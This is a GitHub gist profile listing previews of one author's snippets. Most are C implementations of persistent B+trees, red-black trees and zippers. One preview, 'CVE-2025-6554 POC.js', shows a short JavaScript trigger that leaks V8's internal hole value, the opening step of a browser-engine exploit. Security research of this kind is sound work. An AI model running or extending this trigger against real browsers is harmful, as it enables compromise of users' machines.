Skip to content

Instantly share code, notes, and snippets.

View mistymntncop's full-sized avatar

mistymntncop

293 followers · 29 following
View GitHub Profile
@mistymntncop
mistymntncop / persistent_array.c
Last active January 26, 2026 04:09
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <assert.h>
#include <malloc.h>
//"A Persistent Union-Find Data Structure" (just the Persistent Array)
//https://usr.lmf.cnrs.fr/~jcf/publis/puf-wml07.pdf
@mistymntncop
mistymntncop / btree_iterative.c
Last active November 5, 2025 23:48
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
//Iterative Relaxed B+Tree
//Just pedagogical. Based off Per Vognsen's B+Tree code
//https://gist.github.com/pervognsen/e7883b3de183fcd601c1edf7f7e9508b
// cl -Zi -Od /INCREMENTAL:NO persistent_btree.c
@mistymntncop
mistymntncop / persistent_btree_v2.c
Last active November 5, 2025 22:28
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
//Partially Persistent B+Tree
//Just pedagogical. Based off Per Vognsen's B+Tree code
//https://gist.github.com/pervognsen/e7883b3de183fcd601c1edf7f7e9508b
// cl -Zi -Od /INCREMENTAL:NO persistent_btree.c
@mistymntncop
mistymntncop / persistent_btree.c
Last active November 3, 2025 06:14
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
//Partially Persistent B+Tree
//Just pedagogical. Based off Per Vognsen's B+Tree code
//https://gist.github.com/pervognsen/e7883b3de183fcd601c1edf7f7e9508b
// cl -Zi -Od /INCREMENTAL:NO persistent_btree.c
@mistymntncop
mistymntncop / persistent_rbtree.c
Last active September 1, 2025 08:05
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <windows.h>
//Partially Persistent Red-Black Tree
//Imperative implementation of "Faster, Simpler Red-Black Trees" by Cameron Moy
//Implemented using Zippers
@mistymntncop
mistymntncop / rbtree.c
Last active August 4, 2025 01:45
#include <stdint.h>
#include <stdio.h>
#include <stdbool.h>
#include <malloc.h>
#include <string.h>
//Imperative implementation of "Faster, Simpler Red-Black Trees" by Cameron Moy
//https://ccs.neu.edu/~camoy/pub/red-black-tree.pdf
//https://github.com/zarif98sjs/RedBlackTree-An-Intuitive-Approach
//https://ranger.uta.edu/~weems/NOTES5311/sigcse05.pdf
@mistymntncop
mistymntncop / CVE-2025-6554 POC.js
Last active August 19, 2025 23:11
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
@mistymntncop
mistymntncop / zipper.c
Last active July 6, 2025 09:51
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <assert.h>
//https://sedgewick.io/wp-content/themes/sedgewick/papers/2008LLRB.pdf
//Partially Persistent Left-leaning Red-Black Tree
@mistymntncop
mistymntncop / zipper_per.c
Last active May 16, 2025 06:11
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <assert.h>
//Just pedagogical. No proper memory managagement here, would use Arenas in practice
#define NODE_CHILD_COUNT 2
@mistymntncop
mistymntncop / zipper.c
Last active July 8, 2025 02:06
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <assert.h>
//Partially Persistent Left-Leaning Red-Black Tree
//Implemented using Zippers
//https://sedgewick.io/wp-content/themes/sedgewick/papers/2008LLRB.pdf